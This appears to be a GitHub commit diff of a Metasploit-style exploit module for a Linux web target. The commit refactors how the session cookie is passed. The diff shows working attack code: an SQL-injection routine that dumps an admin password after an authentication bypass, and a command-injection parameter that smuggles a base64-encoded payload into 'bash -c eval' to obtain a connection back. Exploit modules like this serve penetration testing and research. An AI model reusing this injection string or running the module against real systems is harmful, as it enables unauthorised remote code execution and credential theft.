File tree Expand file tree Collapse file tree 1 file changed +5
-4
lines changed
modules/exploits/linux/http Expand file tree Collapse file tree 1 file changed +5
-4
lines changed Original file line number Diff line number Diff line change @@ -100,7 +100,7 @@ def sqli_admin_pass(cookies)
100
100
#
101
101
# Run the actual exploit
102
102
#
103
- def execute_command ( cookies )
103
+ def execute_command ( )
104
104
105
105
encoded = Rex ::Text . encode_base64 ( "#{ payload . encoded } " )
106
106
params = "||%20bash%20-c%20\" eval%20`echo%20-n%20" + encoded + "%20|%20base64%20--decode`\" "
@@ -112,7 +112,7 @@ def execute_command(cookies)
112
112
'headers' => {
113
113
'User-Agent' => 'Mozilla/5.0' ,
114
114
'Accept-Encoding' => 'identity' ,
115
- 'Cookie' => cookies
115
+ 'Cookie' => @cookie
116
116
117
117
}
118
118
} )
@@ -130,8 +130,9 @@ def exploit()
130
130
print_error ( 'Error: Run \'check\' command to identify whether the auth bypass has been fixed' )
131
131
end
132
132
133
+ @cookie = res1 . get_cookies
133
134
print_status ( "#{ rhost } :#{ rport } - Dumping admin password..." )
134
- res = sqli_admin_pass ( res1 . get_cookies )
135
+ res = sqli_admin_pass ( @cookie )
135
136
136
137
if res
137
138
print_good ( res . body )
@@ -140,6 +141,6 @@ def exploit()
140
141
end
141
142
print_status ( "#{ rhost } :#{ rport } - Sending payload...waiting for connection" )
142
143
143
- execute_command ( res1 . get_cookies )
144
+ execute_command ( )
144
145
end
145
146
end
You can’t perform that action at this time.
0 commit comments